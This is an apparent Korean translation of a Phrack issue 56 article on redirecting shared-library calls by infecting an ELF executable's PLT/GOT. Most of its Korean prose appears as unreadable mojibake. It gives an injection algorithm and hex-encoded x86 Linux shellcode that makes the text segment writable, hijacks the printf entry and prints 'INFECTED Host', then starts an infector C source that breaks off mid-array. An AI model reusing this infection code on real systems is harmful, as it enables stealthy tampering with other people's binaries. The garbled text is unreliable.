- P H R A C K M A G A Z I N E - Volume 0xa Issue 0x38 05.01.2000 0x07[0x10] |----------- SHARED LIBRARY CALL REDIRECTION VIA ELF PLT INFECTION -----------| |-----------------------------------------------------------------------------| |--------------------- Silvio Cesare ---------------------| ----| µµÀÔ ÀÌ ¹®°ÇÀÇ ELF°¨¿°(infection)À» »ç¿ëÇÏ¿© °øÀ¯¶óÀ̺귯¸® È£ÃâÀ» ¹æÇâÀçÁöÁ¤(redirection) ÇÏ´Â ¹æ¹ý¿¡ ´ëÇÏ¿© ¼³¸íÇÑ´Ù. ELF°¨¿°Àº ½ÇÇàÆÄÀÏÀÇ ÇÁ·Î½ÃÀú¸µÅ©Å×À̺í(Procedure Linkage Table, ÀÌÇÏ PLT)À» ¹æÇâÀçÁöÁ¤ÇÏ¿© ¹æÇâÀçÁöÁ¤ÀÌ °¨¿°µÈ ½ÇÇàÆÄÀÏ ¿ÜºÎ¿¡ »óÁÖÇÏ´Â °ÍÀÌ °¡´ÉÇÏ°Ô ÇÑ´Ù. ÀÌ ¹æ¹ýÀº ȯ°æº¯¼öÀÇ º¯°æÀ» ÇÏÁö¾ÊÀ¸¹Ç·Î LD_PRELOAD ¹æÇâÀçÁöÁ¤ Å×Å©´Ðº¸´Ù À¯¸®ÇÏ°í ¼û°ÜÁøä·Î ³²¾ÆÀÖÀ» °¡´É¼ºÀÌ ´õ ³ô´Ù. ±¸ÇöÀº x86/Linux¿¡ ´ëÇÏ¿© Á¦°øÇÑ´Ù. °ü½ÉÀÖ´Â ºÐÀº ´ÙÀ½ URLÀ» ¹æ¹®ÇØ º¸±â ¹Ù¶õ´Ù. http://virus.beergrave.net (UNIX¹ÙÀÌ·¯½º ¸ÞÀϸµ¸®½ºÆ®) http://www.big.net.au/~silvio (³» ȨÆäÀÌÁö) ----| ÇÁ·Î½ÃÀú¸µÅ©Å×À̺í(PLT) ELF¸í¼¼¿¡ µû¸£¸é...(ÀÐÀ» ÇÊ¿ä´Â ¾øÁö¸¸ µÚ¿¡ ³ª¿À´Â °Íº¸´Ù ÀÚ¼¼ÇÑ Á¤º¸°¡ ÀÖ´Ù.) " ÇÁ·Î½ÃÀú ¸µÅ© Å×À̺í Àü¿ª¿ÀÇÁ¼ÂÅ×À̺í(Global Offset Table)ÀÌ À§Ä¡µ¶¸³ÀûÀÎ ÁÖ¼Ò°è»êÀ» Àý´ëÀ§Ä¡·Î ¹æÇâÀçÁöÁ¤ÇÏ´Â °Í°ú Èí»çÇÏ°Ô, PLT´Â À§Ä¡µ¶¸³ÀûÀÎ ÇÔ¼öÈ£ÃâÀ» Àý´ëÀ§Ä¡·Î ¹æÇâÀçÁöÁ¤ÇÑ´Ù. ¸µÅ©¿¡µðÅÍ(Link Editor)´Â ½ÇÇàÀüÀÌ(Execution Transfer, ÇÔ¼ö È£Ãâ°ú °°Àº °Íµé)¸¦ ÇϳªÀÇ ½ÇÇàÆÄÀÏÀ̳ª °øÀ¯°´Ã¼¿¡¼­ ´Ù¸¥ °ÍÀ¸·Î ¹Ù²ÙÁö ¸øÇÑ´Ù. µû¶ó¼­ ¸µÅ©¿¡µðÅÍ´Â ÇÁ·Î±×·¥ÀÌ Á¦¾î±ÇÀ» PLT¿¡ ÀÖ´Â Ç׸ñÀ¸·Î ³Ñ±â µµ·Ï ÇÑ´Ù. System V ±¸Á¶¿¡¼­ PLT´Â °øÀ¯¹®¸Æ¿¡ Á¸ÀçÇÏÁö¸¸ ³»ºÎÀü¿ª¿ÀÇÁ¼Â Å×À̺í(Private Global Offset Table)¿¡ ÀÖ´Â ÁÖ¼Ò¸¦ »ç¿ëÇÑ´Ù. µ¿Àû¸µÄ¿(Dynamic Linker)´Â ¸ñÇ¥ÀÇ Àý´ëÁÖ¼Ò¸¦ °áÁ¤ÇÏ°í ±×¿¡µû¶ó Àü¿ª¿ÀÇÁ¼ÂÅ×À̺íÀÇ ¸Þ¸ð¸® À̹ÌÁö¸¦ ¼öÁ¤ÇÑ´Ù. ÀÌ·¸°Ô ÇÏ¿© µ¿Àû¸µÄ¿´Â ÇÁ·Î±×·¥ ¹®¸ÆÀÇ À§Ä¡µ¶¸³¼º°ú °øÀ¯°¡´É¼ºÀ» °Çµå¸®Áö¾Ê°í Ç׸ñµéÀ» ¹æÇâÀçÁöÁ¤ÇÒ ¼ö ÀÖ´Ù. ½ÇÇàÆÄÀÏ°ú °øÀ¯ °´Ã¼ÆÄÀÏÀº º°µµÀÇ PLTµéÀ» °¡Áö°í ÀÖ´Ù. + ±×¸² 2-12: Àý´ë PLT {*} .PLT0:pushl got_plus_4 jmp *got_plus_8 nop; nop nop; nop .PLT1:jmp *name1_in_GOT pushl $offset jmp .PLT0@PC .PLT2:jmp *name2_in_GOT pushl $offset jmp .PLT0@PC ... + ±×¸² 2-13: À§Ä¡µ¶¸³ÀûÀÎ PLT .PLT0:pushl 4(%ebx) jmp *8(%ebx) nop; nop nop; nop .PLT1:jmp *name1@GOT(%ebx) pushl $offset jmp .PLT0@PC .PLT2:jmp *name2@GOT(%ebx) pushl $offset jmp .PLT0@PC ... NOTE: ±×¸²¿¡¼­¿Í°°ÀÌ PLT¸í·É¾î´Â Àý´ëÄÚµå¿Í À§Ä¡µ¶¸³ÀûÀÎ Äڵ忡 ´ëÇÏ¿© ´Ù¸¥ ¿ÀÆÛ·±µå(Operand, ÇÇ¿¬»êÀÚ)ÁÖ¼ÒÁöÁ¤ ¸ðµå¸¦ »ç¿ëÇÑ´Ù. ±×·³¿¡µµ ºÒ±¸ÇÏ°í µ¿Àû ¸µÄ¿¿¡ ´ëÇÑ ±×µéÀÇ ÀÎÅÍÆäÀ̽º´Â µ¿ÀÏÇÏ´Ù. ¾Æ·¡ÀÇ ´Ü°è¸¦ µû¶ó¼­ µ¿Àû¸µÄ¿¿Í ÇÁ·Î±×·¥Àº PLT¿Í Àü¿ª¿ÀÇÁ¼ÂÅ×À̺íÀ» ÅëÇÏ¿© ½Éº¼ÂüÁ¶(Symbolic Reference)¸¦ ÇØ°áÇϱâ À§ÇØ ''Çùµ¿ÇÑ´Ù.'' 1. ÇÁ·Î±×·¥ÀÇ ¸Þ¸ð¸®À̹ÌÁö¸¦ óÀ½¿¡ »ý¼ºÇÒ ¶§, µ¿Àû¸µÄ¿´Â Àü¿ª¿ÀÇÁ¼ÂÅ×À̺íÀÇ µÎ¹ø°¿Í ¼¼¹ø° Ç׸ñÀ» Ưº°ÇÑ °ªÀ¸·Î ¼³Á¤ÇÑ´Ù. ¾Æ·¡ÀÇ ´Ü°èµé¿¡¼­ À̵鰪¿¡ ´ëÇÏ¿© ´õ ¼³¸íÇÑ´Ù. 2. PLT°¡ À§Ä¡µ¶¸³ÀûÀ̶ó¸é Àü¿ª¿ÀÇÁ¼ÂÅ×À̺íÀÇ ÁÖ¼Ò´Â %ebx¿¡ ÀÖ¾î¾ß ÇÑ´Ù. °¢°¢ÀÇ ÇÁ·Î¼¼½º À̹ÌÁö¿¡ ÀÖ´Â °øÀ¯°´Ã¼ÆÄÀÏÀº ÀÚüÀûÀÎ PLT¸¦ °¡Áö°í ÀÖ°í, Á¦¾î±ÇÀº µ¿ÀÏÇÑ °´Ã¼ÆÄÀϳ»¿¡¼­ PLTÀÇ ÇÑ Ç׸ñÀ¸·Î ³Ñ°ÜÁø´Ù. µû¶ó¼­ È£ÃâÇÔ¼ö´Â PLTÇ׸ñÀ» È£ÃâÇϱâÀü¿¡ Àü¿ª¿ÀÇÁ¼ÂÅ×À̺íÀÇ º£À̽º·¹Áö½ºÅÍ(Base Register)¸¦ ¼³Á¤ÇؾßÇÑ´Ù. 3. ±×¸²¿¡¼­¿Í °°ÀÌ, Á¦¾î±ÇÀ» .PLT1 ·¹À̺í·Î ¿Å±â´Â name1À» ÇÁ·Î±×·¥ÀÌ È£ÃâÇÑ´Ù°í °¡Á¤ÇÏÀÚ. 4. ù¹ø° ¸í·ÉÀº name1¿¡ ´ëÇÑ Àü¿ª¿ÀÇÁ¼ÂÅ×À̺í Ç׸ñ¿¡ ÀÖ´Â ÁÖ¼Ò·Î Á¡ÇÁÇÑ´Ù. Ãʱ⿡ Àü¿ª¿ÀÇÁ¼ÂÅ×À̺íÀº name1ÀÇ ½ÇÁ¦ÁÖ¼Ò°¡ ¾Æ´Ï¶ó À̾¿À´Â pushl¸í·É¾îÀÇ ÁÖ¼Ò¸¦ °¡Áö°í ÀÖ´Ù. 5. µû¶ó¼­ ÇÁ·Î±×·¥Àº Àç¹èÄ¡¿ÀÇÁ¼Â(Relocation Offset)À» ½ºÅÿ¡ ³Ö´Â´Ù. Àç¹èÄ¡ ¿ÀÇÁ¼ÂÀº 32ºñÆ®ÀÇ À½ÀÌ¾Æ´Ñ ¹ÙÀÌÆ®´ÜÀ§ ¿ÀÇÁ¼ÂÀ¸·Î Àç¹èÄ¡Å×À̺í(Relocation Table)¿¡¼­ÀÇ ¿ÀÇÁ¼ÂÀÌ´Ù. ÁöÁ¤µÈ Àç¹èÄ¡Ç׸ñÀº R_386_JMP_SLOTÇü½ÄÀÌ°í, ±×°ÍÀÇ ¿ÀÇÁ¼ÂÀº ÀÌÀü jmp¸í·É¿¡¼­ »ç¿ëµÈ Àü¿ª¿ÀÇÁ¼ÂÅ×À̺í Ç׸ñÀ» ÁöÁ¤ÇÑ´Ù. Àç¹èÄ¡ Ç׸ñÀº ½Éº¼Å×À̺í(Symbol Table)»öÀεµ °¡Áö°í À־ µ¿Àû¸µÄ¿¿¡°Ô ¾î¶² ½Éº¼ÀÌ ÂüÁ¶µÇ´ÂÁö ¾Ë·ÁÁØ´Ù. ÀÌ °æ¿ì¿¡´Â name1ÀÌ´Ù. 6. Àç¹èÄ¡¿ÀÇÁ¼ÂÀ» ½ºÅÿ¡ ³Ö°í³ª¼­ ÇÁ·Î±×·¥Àº PLTÀÇ Ã¹¹ø° Ç׸ñÀÎ .PLT0À¸·Î Á¡ÇÁÇÑ´Ù. pushl¸í·É¾î´Â Àü¿ª¿ÀÇÁ¼ÂÅ×ÀÌºí µÎ¹ø° Ç׸ñÀÇ °ª(got_plus_4 ¶Ç´Â 4(%ebx))À» ½ºÅÿ¡ ³Ö¾î¼­, µ¿Àû¸µÄ¿¿¡°Ô ½Äº°Á¤º¸¸¦ ÁØ´Ù. ±×¸®°í³ª¼­ ÇÁ·Î±×·¥Àº Àü¿ª¿ÀÇÁ¼ÂÅ×ÀÌºí ¼¼¹ø° Ç׸ñ(got_plus_8 ¶Ç´Â 8(%ebx))¿¡ ÀÖ´Â ÁÖ¼Ò·Î Á¡ÇÁÇÑ´Ù. ±×·¯¸é Á¦¾î±ÇÀÌ µ¿Àû¸µÄ¿¿¡°Ô ³Ñ°ÜÁø´Ù. 7. µ¿Àû¸µÄ¿°¡ Á¦¾î±ÇÀ» ¹ÞÀ¸¸é ½ºÅÃÀ» Ç®°í ÁöÁ¤µÈ Àç¹èÄ¡Ç׸ñÀ» »ìÆ캸¾Æ¼­ ½Éº¼ÀÇ °ªÀ» ã´Â´Ù. ±×¸®°í ÀÚ±âÀÇ Àü¿ª¿ÀÇÁ¼ÂÅ×ÀÌºí¿¡ name1ÀÇ ''½ÇÁ¦'' ÁÖ¼Ò¸¦ ÀúÀåÇÏ°í Á¦¾î±ÇÀ» ¿øÇÏ´Â ¸ñÇ¥·Î ³Ñ±ä´Ù. 8. À̾ PLTÇ׸ñÀ» ½ÇÇàÇÏ¸é µÎ¹ø° ¶Ç µ¿Àû¸µÄ¿¸¦ È£ÃâÇÏÁö ¾Ê°í name1À¸·Î Á÷Á¢ ³Ñ¾î°£´Ù. Áï, pushl¸í·É¾î·Î ''ºüÁö´Â'' ´ë½Å¿¡ .PLT1¿¡ ÀÖ´Â jmp¸í·É¾î°¡ ½ÇÇàµÇ¾î name1À¸·Î ³Ñ¾î°£´Ù. LD_BIND_NOWȯ°æº¯¼ö¿¡ µû¶ó µ¿Àû¸µÅ© ÇüÅ°¡ ´Ù¸£´Ù. ±× °ªÀÌ ³Î(Null)ÀÌ ¾Æ´Ï¸é, µ¿Àû¸µÄ¿´Â Á¦¾î±ÇÀ» ÇÁ·Î±×·¥¿¡ ³Ñ±â±âÀü¿¡ PLTÇ׸ñÀÇ °ªÀ» ±¸ÇÑ´Ù. Áï, µ¿Àû¸µÄ¿´Â ÇÁ·Î¼¼½º¸¦ ÃʱâÈ­ÇÏ´Â Áß¿¡ R_386_JMP_SLOTÇü½ÄÀº Àç¹èÄ¡Ç׸ñµéÀ» ó¸®ÇÑ´Ù. °ªÀÌ ³ÎÀ̶ó¸é µ¿Àû¸µÄ¿´Â PLTÇ׸ñÀÇ °ªÀ» ´Ê°Ô ±¸ÇÑ´Ù. Å×À̺íÇ׸ñÀÌ ÃÖÃÊ·Î »ç¿ëµÉ ¶§±îÁö ½Éº¼Çؼ®°ú Àç¹èÄ¡¸¦ À¯º¸ÇÑ´Ù. NOTE: Áöü¹ÙÀεù(Lazy Binding)À» Çϸé ÀϹÝÀûÀ¸·Î Àü¹ÝÀûÀÎ ÀÀ¿ëÇÁ·Î±×·¥ÀÇ ¼º´ÉÀº Çâ»óµÈ´Ù. ±× ÀÌÀ¯´Â »ç¿ëÇÏÁö¾Ê´Â ½Éº¼À» µ¿Àû¸µÅ©ÇÏ´Â ¿À¹öÇìµå°¡ ¹ß»ýÇÏÁö¾Ê±â ¶§¹®ÀÌ´Ù. ±×·¸Áö¸¸ ¾î¶² ÀÀ¿ëÇÁ·Î±×·¥¿¡ ´ëÇÏ¿©´Â Áöü¹ÙÀεùÀÌ ¹Ù¶÷Á÷ÇÏÁö ¾ÊÀ» ¼ö Àִµ¥ ´ÙÀ½ÀÇ µÎ°¡Áö °æ¿ìÀÌ´Ù. ù¹ø°, °øÀ¯°´Ã¼ÇÔ¼ö¸¦ ÃÖÃʷΠȣÃâÇÒ¶§´Â ³ªÁß¿¡ È£ÃâÇÏ´Â °Íº¸´Ù ½Ã°£ÀÌ ´õ¿À·¡ °É¸°´Ù. ¿Ö³ÄÇÏ¸é µ¿Àû¸µÄ¿°¡ ½Éº¼À» Çؼ®Çϱâ À§Çؼ­ È£ÃâÀ» °¡·Îä±â ¶§¹®ÀÌ´Ù. ÀϺΠÀÀ¿ëÇÁ·Î±×·¥Àº ÀÌ·¯ÇÑ ¿¹ÃøºÒ°¡´ÉÇÑ »óȲÀ» ó¸® ÇÏÁö ¸øÇÑ´Ù. µÎ¹ø°, ¿À·ù°¡ ¹ß»ýÇÏ¿© µ¿Àû¸µÄ¿°¡ ½Éº¼À» Çؼ®ÇÏÁö ¸øÇÏ¸é µ¿Àû¸µÄ¿´Â ÇÁ·Î±×·¥À» Á¾·á½ÃŲ´Ù. Áöü¹ÙÀεùÀ» Çϸé ÀÌ·¯ÇÑ Çö»óÀÌ ÀÓÀÇÀÇ ½ÃÁ¡¿¡¼­ ¹ß»ýÇÑ´Ù. ¶Ç ´Ù½Ã ÀϺΠÀÀ¿ëÇÁ·Î±×·¥Àº ÀÌ·¯ÇÑ ¿¹ÃøºÒ°¡´ÉÇÑ »óȲÀ» ó¸®ÇÏÁö ¸øÇÑ´Ù. Áöü¹ÙÀεùÀ» »ç¿ëÇÏÁö¾ÊÀ¸¸é, ÀÀ¿ëÇÁ·Î±×·¥ÀÌ Á¦¾î±ÇÀ» ¹Þ±âÀüÀÎ ÇÁ·Î¼¼½ºÃʱâÈ­ ½ÃÁ¡¿¡ ¿À·ù°¡ ¹ß»ýÇÏ°Ô µÈ´Ù. " Á»´õ ÀÚ¼¼È÷ ¼³¸íÇÏÀÚ¸é... °øÀ¯¶óÀ̺귯¸®´Â ÄÄÆÄÀϽÃÁ¡¿¡ ½ÇÇàÆÄÀÏ¿¡ ¸µÅ©µÉ¼ö ¾ø±â ¶§¹®¿¡ °øÀ¯¶óÀ̺귯¸® È£ÃâÀº Ưº°ÇÏ°Ô ´Ù·ç¾îÁø´Ù. ÀÌ°ÍÀº ½ÇÇàÆÄÀÏÀÇ ½ÇÇà½ÃÁ¡±îÁö °øÀ¯¶óÀ̺귯¸®°¡ »ç¿ëÀÌ °¡´ÉÇÏÁö ÀœÀ» ¼öµµ Àֱ⠶§¹®ÀÌ´Ù. PLT´Â ÀÌ·¯ÇÑ °æ¿ì¸¦ ó¸®Çϱâ À§ÇÏ¿© °í¾ÈµÇ¾ú´Ù. PLT´Â µ¿Àû ¸µÄ¿¸¦ È£ÃâÇÏ¿© ¿øÇÏ´Â ·çƾ(Routine)µéÀÇ À§Ä¡¸¦ ÆľÇÇÏ´Â µ¥ ÇÊ¿äÇÑ Äڵ带 °¡Áö°í ÀÖ´Ù. ½ÇÇàÆÄÀÏ¿¡¼­ ½ÇÁ¦ °øÀ¯¶óÀ̺귯¸®·çƾÀ» È£ÃâÇÏ´Â ´ë½Å¿¡ ½ÇÇàÆÄÀÏÀº PLT¿¡ ÀÖ´Â Ç׸ñÀ» È£ÃâÇÑ´Ù. ±×¸®°í³ª¼­ PLT¿¡ µû¶ó¼­ ½Éº¼ÀÌ ³ªÅ¸³»´Â °ÍÀ» Çؼ®ÇÏ°í ¿Ã¹Ù¸¥ ÀÛ¾÷À» ¼öÇàÇÑ´Ù. ELF¸í¼¼¿¡¼­... " .PLT1:jmp *name1_in_GOT pushl $offset jmp .PLT0@PC " ÀÌ°ÍÀº Áß¿äÇÑ Á¤º¸´Ù. ÀÌ°ÍÀº ¶óÀ̺귯¸®È£Ãâ´ë½Å¿¡ È£ÃâµÇ´Â ·çƾÀÌ´Ù. name1_in_GOT´Â À̾îÁö´Â pushl¸í·É¾î¸¦ °¡¸®Å°¸é¼­ óÀ½¿¡ ½ÃÀÛÇÑ´Ù. offsetÀº Àç¹èÄ¡(ELF¸í¼¼ ÂüÁ¶) ¿ÀÇÁ¼ÂÀ» ³ªÅ¸³½´Ù. ÀÌ°ÍÀº ¶óÀ̺귯¸®È£ÃâÀÌ ³ªÅ¸³»´Â ½Éº¼¿¡ ´ëÇÑ ÂüÁ¶¸¦ °¡Áö°í ÀÖ´Ù. ÀÌ°ÍÀº ¶ÇÇÑ µ¿Àû¸µÄ¿·Î Á¡ÇÁÇÏ´Â ¸¶Áö¸· jmp¸í·É¿¡¼­ »ç¿ëµÈ´Ù. µ¿Àû¸µÄ¿´Â name1_in_GOT°¡ ÇØ´ç·çƾÀ» Á÷Á¢ °¡¸®Å°µµ·Ï º¯°æÇÏ¿© µ¿Àû¸µÅ©°¡ µÎ¹ø°µµ ÀϾ´Â °ÍÀ» ¹æÁöÇÑ´Ù. ÀÌ´Â ¶óÀ̺귯¸® °Ë»ö(Lookup)¿¡¼­ PLTÀÇ Á߿伺À» ´ëº¯ÇÑ´Ù. name1_in_GOT°¡ ¿ì¸® ÀÚ½ÅÀÇ Äڵ带 °¡¸®Å°µµ·Ï º¯°æÇÏ¿© ¶óÀ̺귯¸® È£ÃâÀ» ´ëüÇÒ ¼ö ÀÖÀ½À» ÁÖ¸ñÇϱ⠹ٶõ´Ù. ´ëüÇϱâÀü¿¡ GOTÀÇ »óŸ¦ ÀúÀåÇÏ¸é ¿ø·¡ ¶óÀ̺귯¸®·çƾÀ» È£ÃâÇÒ ¼ö ÀÖ°Ô µÇ°í µû¶ó¼­ ¾î¶² ¶óÀ̺귯¸® È£Ãâµµ ¹æÇâÀ» ÀçÁöÁ¤ÇÒ ¼ö ÀÖ´Ù. ----| ELF °¨¿° ¹æÇâÀçÁöÁ¤µÈ ¶óÀ̺귯¸®È£ÃâÀ» ½ÇÇàÆÄÀÏ¿¡ ÁÖÀÔÇÏ·Á¸é ½ÇÇàÆÄÀÏ¿¡ »õ Äڵ带 Ãß°¡ ÇؾßÇÑ´Ù. ELF°¨¿°¿¡ ´ëÇÑ ½ÇÁ¦ ÀýÂ÷´Â ÀÌÀü ¹®°Ç¿¡¼­ ÀÚ¼¼ÇÏ°Ô ´Ù·ç¾úÀ¸¹Ç·Î ¿©±â¿¡¼­´Â ±â¼úÇÏÁö ¾Ê¤¡¤¶´Ù.(http://www.big.net.au/~silvio - UNIX¹ÙÀÌ·¯½º/ UNIX ELF ¹ÙÀÌ·¯½º). ¿ÏÀüÇÏ°Ô ÇϱâÀ§ÇÏ¿© ÁÖÀÔ¿¡ µ¥ÀÌÅÍ°¨¿°À» »ç¿ëÇÏ°í ¾à°£ ¹ö±×°¡ ÀÖÀ» °ÍÀÌ°í ¿ÏÀüÈ÷ ¾ÈÀüÇÏÁö´Â ¾Ê´Ù. ----| PLT ¹æÇâÀçÁöÁ¤ ÁøÀԺκÐÀÇ ÄÚµå ¾Ë°í¸®ÁòÀº ´ÙÀ½°ú °°´Ù... * text¼¼±×¸ÕÆ®¸¦ ¾²±â°¡´ÉÀ¸·Î ÇÑ´Ù. * PLT(GOT)Ç׸ñÀ» ÀúÀåÇÑ´Ù. * PLT(GOT)Ç׸ñÀ» ½Å±Ô ¶óÀ̺귯¸®È£ÃâÀÇ ÁÖ¼Ò·Î ´ëüÇÑ´Ù. ½Å±Ô ¶óÀ̺귯¸®È£Ãâ¿¡¼­ ¾Ë°í¸®ÁòÀº ´ÙÀ½°ú °°´Ù... * ½Å±Ô¶óÀ̺귯¸®È£ÃâÀ» ½ÇÇàÇÑ´Ù. * ¿ø·¡ PLT(GOT)Ç׸ñÀ» º¹¿øÇÑ´Ù. * ¶óÀ̺귯¸®È£ÃâÀ» ÇÑ´Ù. * PLT(GOT)Ç׸ñÀ» ´Ù½Ã ÀúÀåÇÑ´Ù.(¸¸¾à º¯°æµÇ¾ú´Ù¸é) * PLT(GOT)Ç׸ñÀ» ½Å±Ô¶óÀ̺귯¸®È£ÃâÀÇ ÁÖ¼Ò·Î ´ëüÇÑ´Ù. PLT ¹æÇâÀçÁöÁ¤ÀÌ ¾î¶»°Ô ÀϾ´ÂÁö ´õ ¼³¸íÇϱâÀ§ÇØ, °¡Àå ´Ü¼øÇÑ ¹æ¹ýÀº µ¿ÀÏÇÑ Äڵ带 °¡Áö°í ±â¼úÇÏ´Â °ÍÀÌ´Ù. ÀÌ ÄÚµå´Â ½ÇÇàÆÄÀÏ¿¡ ÁÖÀԵǾî ÇÁ·Î±×·¥ÀÇ »õ·Î¿î ÁøÀÔÁ¡ÀÌ µÈ´Ù. ¹æÇâÀÌ ÀçÁöÁ¤µÈ ¶óÀ̺귯¸®È£ÃâÀº printfÀÌ°í ½Å±ÔÄÚµå´Â printf¿¡ ³ª¿À´Â ¹®ÀÚ¿­¾Õ¿¡ ¸Þ½ÃÁö¸¦ Ãâ·ÂÇÑ´Ù. -- µÆ´Ù. ·¹Áö½ºÅ͸¦ ÀúÀåÇÏ°í ±âŸµîµî... "\x60" /* pusha */ text¼¼±×¸ÕÆ®¸¦ rwx·Î º¯°æÇÑ´Ù. ÀÌ°ÍÀ» Çؾ߸¸ text¼¼±×¸ÕÆ®¿¡ ÀÖ´Â PLT¸¦ ¼öÁ¤ÇÒ ¼ö ÀÖ´Ù. Á¤»óÀûÀÎ °æ¿ì¿¡´Â ¾²±â°¡ ºÒ°¡´ÉÇÏ´Ù. "\xb8\x7d\x00\x00\x00" /* movl $125,%eax */ "\xbb\x00\x80\x04\x08" /* movl $text_start,%ebx */ "\xb9\x00\x40\x00\x00" /* movl $0x4000,%ecx */ "\xba\x07\x00\x00\x00" /* movl $7,%edx */ "\xcd\x80" /* int $0x80 */ ±âÁ¸ ¶óÀ̺귯¸®È£ÃâÀÇ PLT(GOT)ÂüÁ¶¸¦ ÀúÀåÇÏ°í ±×°ÍÀ» ÁøÀÔÁ¡ÄÚµå ¹Ù·Î µÚ¿¡ ³ª¿À´Â ½Å±Ô ¶óÀ̺귯¸®È£ÃâÀÇ ÁÖ¼Ò·Î ´ëüÇÑ´Ù. "\xa1\x00\x00\x00\x00" /* movl plt,%eax */ "\xa3\x00\x00\x00\x00" /* movl %eax,oldcall */ "\xc7\x05\x00\x90\x04" /* movl $newcall,plt */ "\x08\x00\x00\x00\x00" ·¹Áö½ºÅ͸¦ º¹¿øÇÏ°í ±âŸµîµî... "\x61" /* popa */ ½ÇÇàÆÄÀÏÀÇ ¿ø·¡ ÁøÀÔÁ¡À¸·Î Á¡ÇÁÇÏ¿© µÇµ¹¾Æ¿Â´Ù. "\xbd\x00\x80\x04\x08" /* movl $entry,%ebp */ "\xff\xe5" /* jmp *%ebp */ ½Å±Ô¶óÀ̺귯¸®È£Ãâ(printf). /* newcall: */ Ãâ·ÂÇÒ ¹®ÀÚ¿­ÀÇ ÁÖ¼Ò¸¦ °¡Á®¿Â´Ù. "\xeb\x38" /* jmp msg_jmp */ /* msg_call */ "\x59" /* popl %ecx */ LINUX½Ã½ºÅÛ È£ÃâÀ» »ç¿ëÇÏ¿© ¹®ÀÚ¿­À» Ãâ·ÂÇÑ´Ù. "\xb8\x04\x00\x00\x00" /* movl $4,%eax */ "\xbb\x01\x00\x00\x00" /* movl $1,%ebx */ "\xba\x0e\x00\x00\x00" /* movl $14,%edx */ "\xcd\x80" /* int $0x80 */ ±âÁ¸ ¶óÀ̺귯¸® È£ÃâÀ» PLT(GOT)¿¡ º¹¿øÇÏ¿© È£ÃßÇÒ ¼ö ÀÖ°Ô ÇÑ´Ù. "\xb8\x00\x00\x00\x00" /* movl $oldcall,%eax */ "\xa3\x00\x00\x00\x00" /* movl %eax,plt */ ¿ø·¡ printf ÀÎÀÚ¸¦ °¡Á®¿Â´Ù. "\xff\x75\xfc" /* pushl -4(%ebp) */ ¿ø·¡ ¶óÀ̺귯¸®È£ÃâÀ» ÁøÇàÇÑ´Ù. "\xff\xd0" /* call *%eax */ PLT(GOT)¿¡¼­ ¿ø·¡ ¶óÀ̺귯¸®È£ÃâÀ» ÀúÀåÇÑ´Ù. ÀÌ°ÍÀº ¶óÀ̺귯¸®È£Ãâ ÈÄ¿¡ ¹Ù²ð ¼ö Àֱ⶧¹®¿¡ ¸Å¹ø ÀúÀåÇÏ´Â °ÍÀ» ÀØÁö ¾Êµµ·Ï ÇÑ´Ù. ÀÌ°ÍÀº »ç½Ç ù¹ø° È£ÃâÀÌÈÄ ¿¡¸¸ ¹Ù²îÁö¸¸ ³Ê¹« ½Å°æ¾²Áö¾Ê´Â´Ù. "\xa1\x00\x00\x00\x00" /* movl plt,%eax */ "\xa3\x00\x00\x00\x00" /* movl %eax,oldcall */ PLT(GOT)°¡ ½Å±Ô¶óÀ̺귯¸®È£ÃâÀ» ´Ù½Ã °¡¸®Å°µµ·Ï ÇÑ´Ù. "\xc7\x05\x00\x00\x00" /* movl $newcall,plt */ "\x08\x00\x00\x00\x00" ÀÎÀÚ¸¦ ¸ðµÎ ¾ø¾Ø´Ù. "\x58" /* popl %eax */ ·¹Áö½ºÅ͸¦ º¹¿øÇÏ°í ±âŸµîµî... "\x61" /* popa */ ÇÔ¼ö¿¡¼­ ¸®ÅÏÇÑ´Ù. "\xc3" /* ret */ Ãâ·ÂÇÒ ¹®ÀÚ¿­ÀÇ ÁÖ¼Ò¸¦ °¡Á®¿Â´Ù. /* msg_jmp */ "\xe8\xc4\xff\xff\xff" /* call msg_call */ ¹®ÀÚ¿­ "INFECTED Host " ----| ÇâÈÄ ¹æÇâ °øÀ¯¶óÀ̺귯¸®¸¦ Á÷Á¢ °¨¿°½ÃÅ°´Â °ÍÀÌ °¡´ÉÇÏ°í ÀÌ°ÍÀÌ ¶§·Î´Â ´õ ¹Ù¶÷Á÷ÇÏ´Ù. ±× ÀÌÀ¯´Â ¹æÇâÀçÁöÁ¤ÀÌ ¸ðµç ½ÇÇàÆÄÀÏ¿¡ ´ëÇÏ¿© »óÁÖÇϱ⠶§¹®ÀÌ´Ù. ¶ÇÇÑ ÇÁ·Î¼¼½º À̹ÌÁö¸¦ Á÷Á¢ ¼öÁ¤ÇÏ¿© ¼û°ÜÁø ¹öÀüÀÇ PLT¹æÇâÀçÁöÁ¤µµ °¡´ÉÇÏ´Ù. ÀÌ·¸°Ô ÇÏ¿© È£½ºÆ®ÀÇ ½ÇÇàÆÄÀÏÀº ¼öÁ¤ÇÏÁö ¾ÊÀºÃ¤·Î ÀÖ°Ô µÈ´Ù. ÇÏÁö¸¸ ÀÌ°ÍÀº ¹æÇâÀçÁöÁ¤ÀÌ ´ÜÇϳªÀÇ ÇÁ·Î¼¼½º ÁÖ±â(Life)µ¿¾È¸¸ È°¼ºÈ­µÈ´Ù´Â ´ÜÁ¡ÀÌ ÀÖ´Ù. ----| °á·Ð ÀÌ ¹®°ÇÀº ELF°¨¿°±â¹ýÀ» »ç¿ëÇϴµ¥ À־ ½ÇÇàÆÄÀÏÀÇ PLT¸¦ Á÷Á¢ ¼öÁ¤ÇÏ¿© ½ÇÇàÆÄÀÏÀÇ °øÀ¯¶óÀ̺귯¸®È£ÃâÀ» ¹æÇâÀçÁöÁ¤ÇÏ´Â ¹æ¹ý¿¡ °üÇÏ¿© ±â¼úÇÑ´Ù. ÀÌ°ÍÀº LD_PRELOAD¸¦ »ç¿ëÇÏ´Â ±âÁ¸Àº ±â¹ýº¸´Ù ¼û±â´Âµ¥ À¯¸®ÇÏ°í ´õ ¸¹Àº °¡´É¼ºÀ» °¡Áö°í ÀÖ´Ù. ----| CODE <++> p56/PLT-INFECTION/PLT-infector.c !fda3c047 #include #include #include #include #include #include #include #include #define PAGE_SIZE 4096 static char v[] = "\x60" /* pusha */ "\xb8\x7d\x00\x00\x00" /* movl $125,%eax */ "\xbb\x00\x80\x04\x08" /* movl $text_start,%ebx */ "\xb9\x00\x40\x00\x00" /* movl $0x4000,%ecx */ "\xba\x07\x00\x00\x00" /* movl $7,%edx */ "\xcd\x80" /* int $0x80 */ "\xa1\x00\x00\x00\x00" /* movl plt,%eax */ "\xa3\x00\x00\x00\x00" /* movl %eax,oldcall */ "\xc7\x05\x00\x90\x04" /* movl 